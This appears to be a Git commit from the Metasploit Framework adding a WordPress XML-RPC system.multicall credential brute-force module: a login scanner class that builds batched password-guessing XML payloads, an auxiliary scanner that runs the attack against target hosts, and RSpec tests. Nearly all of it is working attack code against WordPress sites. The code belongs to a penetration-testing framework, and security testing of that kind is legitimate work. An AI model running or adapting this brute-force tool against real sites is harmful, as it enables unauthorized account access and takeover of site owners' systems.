Land #6226, Add Wordpress XML-RPC system.multicall Credential BF

This commit is contained in:
wchen-r7 2016-01-23 00:12:46 -06:00
commit 6187354392
No known key found for this signature in database
GPG Key ID: 2384DB4EF06F730B
5 changed files with 396 additions and 2 deletions

View File

@ -0,0 +1,150 @@
require 'metasploit/framework/login_scanner/http'
require 'nokogiri'
module Metasploit
module Framework
module LoginScanner
class WordpressMulticall < HTTP
# @!attribute passwords
# @return [Array]
attr_accessor :passwords
# @!attribute chunk_size, limits number of passwords per XML request
# @return [Fixnum]
attr_accessor :chunk_size
# @!attribute block_wait, time to wait if got blocked by the target
# @return [Fixnum]
attr_accessor :block_wait
# @!attribute base_uri
# @return [String]
attr_accessor :base_uri
# @!attribute wordpress_url_xmlrpc
# @return [String]
attr_accessor :wordpress_url_xmlrpc
def set_default
self.wordpress_url_xmlrpc = 'xmlrpc.php'
self.block_wait = 6
self.base_uri = '/'
self.chunk_size = 1700
end
# Returns the XML data that is used for the login.
#
# @param user [String] username
# @return [Array]
def generate_xml(user)
xml_payloads = []
# Evil XML | Limit number of log-ins to CHUNKSIZE/request due
# Wordpress limitation which is 1700 maximum.
passwords.each_slice(chunk_size) do |pass_group|
document = Nokogiri::XML::Builder.new do |xml|
xml.methodCall {
xml.methodName("system.multicall")
xml.params {
xml.param {
xml.value {
xml.array {
xml.data {
pass_group.each do |pass|
xml.value {
xml.struct {
xml.member {
xml.name("methodName")
xml.value { xml.string("wp.getUsersBlogs") }}
xml.member {
xml.name("params")
xml.value {
xml.array {
xml.data {
xml.value {
xml.array {
xml.data {
xml.value { xml.string(user) }
xml.value { xml.string(pass) }
}}}}}}}}}
end
}}}}}}
end
xml_payloads << document.to_xml
end
xml_payloads
end
# Sends an HTTP request to Wordpress.
#
# @param xml [String] XML data.
# @return [void]
def send_wp_request(xml)
opts =
{
'method' => 'POST',
'uri' => normalize_uri("#{base_uri}/#{wordpress_url_xmlrpc}"),
'data' => xml,
'ctype' =>'text/xml'
}
client = Rex::Proto::Http::Client.new(rhost)
client.connect
req = client.request_cgi(opts)
res = client.send_recv(req)
if res && res.code != 200
sleep(block_wait * 60)
end
@res = res
end
# Attempts to login.
#
# @param credential [Metasploit::Framework::Credential]
# @return [Metasploit::Framework::LoginScanner::Result]
def attempt_login(credential)
generate_xml(credential.public).each do |xml|
send_wp_request(xml)
req_xml = Nokogiri::Slop(xml)
res_xml = Nokogiri::Slop(@res.to_s.scan(/<.*>/).join)
res_xml.search("methodResponse/params/param/value/array/data/value").each_with_index do |value, i|
result = value.at("struct/member/value/int")
if result.nil?
pass = req_xml.search("data/value/array/data")[i].value[1].text.strip
credential.private = pass
result_opts = {
credential: credential,
host: host,
port: port,
protocol: 'tcp'
}
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL)
return Result.new(result_opts)
end
end
end
result_opts = {
credential: credential,
host: host,
port: port,
protocol: 'tcp'
}
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT)
return Result.new(result_opts)
end
end
end
end
end

View File

@ -78,4 +78,3 @@ module Metasploit
end
end

View File

@ -0,0 +1,137 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/wordpress_multicall'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Wordpress XML-RPC system.multicall Credential Collector',
'Description' => %q{
This module attempts to find Wordpress credentials by abusing the XMLRPC
APIs. Wordpress versions prior to 4.4.1 are suitable for this type of
technique. For newer versions, the script will drop the CHUNKSIZE to 1 automatically.
},
'Author' =>
[
'KingSabri <King.Sabri[at]gmail.com>' ,
'William <WCoppola[at]Lares.com>',
'sinn3r'
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/' ],
['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html' ]
],
'DefaultOptions' =>
{
'USER_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt"),
'PASS_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")
}
))
register_options(
[
OptInt.new('BLOCKEDWAIT', [ true, 'Time(minutes) to wait if got blocked', 6 ]),
OptInt.new('CHUNKSIZE', [ true, 'Number of passwords need to be sent per request. (1700 is the max)', 1500 ]),
], self.class)
# Not supporting these options, because we are not actually letting the API to process the
# password list for us. We are doing that in Metasploit::Framework::LoginScanner::WordpressRPC.
deregister_options(
'BLANK_PASSWORDS', 'PASSWORD', 'USERPASS_FILE', 'USER_AS_PASS', 'DB_ALL_CREDS', 'DB_ALL_PASS'
)
end
def passwords
File.readlines(datastore['PASS_FILE']).lazy.map {|pass| pass.chomp}
end
def check_options
if datastore['CHUNKSIZE'] > 1700
fail_with(Failure::BadConfig, 'Option CHUNKSIZE cannot be larger than 1700')
end
end
def setup
check_options
end
def check_setup
version = wordpress_version
vprint_status("Found Wordpress version: #{version}")
if !wordpress_and_online?
print_error("#{peer}:#{rport}#{target_uri} does not appear to be running Wordpress or you got blocked! (Do Manual Check)")
false
elsif !wordpress_xmlrpc_enabled?
print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} does not enable XMLRPC")
false
elsif Gem::Version.new(version) >= Gem::Version.new('4.4.1')
print_error("#{peer}#{wordpress_url_xmlrpc} Target's version (#{version}) is not vulnerable to this attack.")
vprint_status("Dropping CHUNKSIZE from #{datastore['CHUNKSIZE']} to 1")
datastore['CHUNKSIZE'] = 1
true
else
print_status("Target #{peer} is running Wordpress")
true
end
end
def run_host(ip)
if check_setup
print_status("XMLRPC enabled, Hello message received!")
else
print_error("Abborting the attack.")
return
end
print_status("#{peer} - Starting XML-RPC login sweep...")
cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: true,
user_file: datastore['USER_FILE'],
username: datastore['USERNAME']
)
scanner = Metasploit::Framework::LoginScanner::WordpressMulticall.new(
configure_http_login_scanner(
passwords: passwords,
chunk_size: datastore['CHUNKSIZE'],
block_wait: datastore['BLOCKEDWAIT'],
base_uri: target_uri.path,
uri: wordpress_url_xmlrpc,
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 5,
)
)
scanner.scan! do |result|
credential_data = result.to_h
credential_data.merge!(
module_fullname: self.fullname,
workspace_id: myworkspace_id
)
case result.status
when Metasploit::Model::Login::Status::SUCCESSFUL
print_brute :level => :vgood, :ip => ip, :msg => "SUCCESSFUL: #{result.credential}"
end
end
end
end

View File

@ -0,0 +1,108 @@
require 'spec_helper'
require 'metasploit/framework/login_scanner/wordpress_multicall'
RSpec.describe Metasploit::Framework::LoginScanner::WordpressMulticall do
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
subject do
described_class.new
end
let(:username) do
'username'
end
let(:good_password) do
'goodpassword'
end
let(:passwords) do
[good_password]
end
let(:good_response) do
%Q|<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<array><data>
<value><array><data>
<value><array><data>
<value><struct>
<member><name>isAdmin</name><value><boolean>1</boolean></value></member>
<member><name>url</name><value><string>http://192.168.1.202/wordpress/</string></value></member>
<member><name>blogid</name><value><string>1</string></value></member>
<member><name>blogName</name><value><string>Test</string></value></member>
<member><name>xmlrpc</name><value><string>http://192.168.1.202/wordpress/xmlrpc.php</string></value></member>
</struct></value>
</data></array></value>
</data></array></value>
</data></array>
</value>
</param>
</params>
</methodResponse>
|
end
let(:response) do
r = Rex::Proto::Http::Response.new(200, 'OK')
r.body = good_response
r
end
before(:each) do
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:request_cgi).with(any_args)
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).with(any_args).and_return(response)
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:set_config).with(any_args)
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:close)
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect)
end
before do
subject.instance_variable_set(:@passwords, passwords)
subject.set_default
end
describe '#generate_xml' do
context 'when a username is given' do
it 'returns an array' do
expect(subject.generate_xml(username)).to be_kind_of(Array)
end
it 'contains our username' do
xml = subject.generate_xml(username).first
expect(xml).to include('<?xml version="1.0"?>')
end
end
end
describe '#attempt_login' do
context 'when the credential is valid' do
it 'returns a Result object indicating a successful login' do
cred_obj = Metasploit::Framework::Credential.new(public: username, private: good_password)
result = subject.attempt_login(cred_obj)
expect(result).to be_kind_of(::Metasploit::Framework::LoginScanner::Result)
expect(result.status).to eq(Metasploit::Model::Login::Status::SUCCESSFUL)
end
end
end
describe '#send_wp_request' do
context 'when a request is sent' do
it 'sets @res with an HTTP response object' do
subject.send_wp_request('xml')
expect(subject.instance_variable_get(:@res)).to be_kind_of(Rex::Proto::Http::Response)
end
it 'sets @res with an XML document' do
subject.send_wp_request('xml')
expect(subject.instance_variable_get(:@res).body).to include('<?xml version="1.0" encoding="UTF-8"?>')
end
end
end
end

View File

@ -8,4 +8,4 @@ RSpec.describe Metasploit::Framework::LoginScanner::WordpressRPC do
it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP'
end
end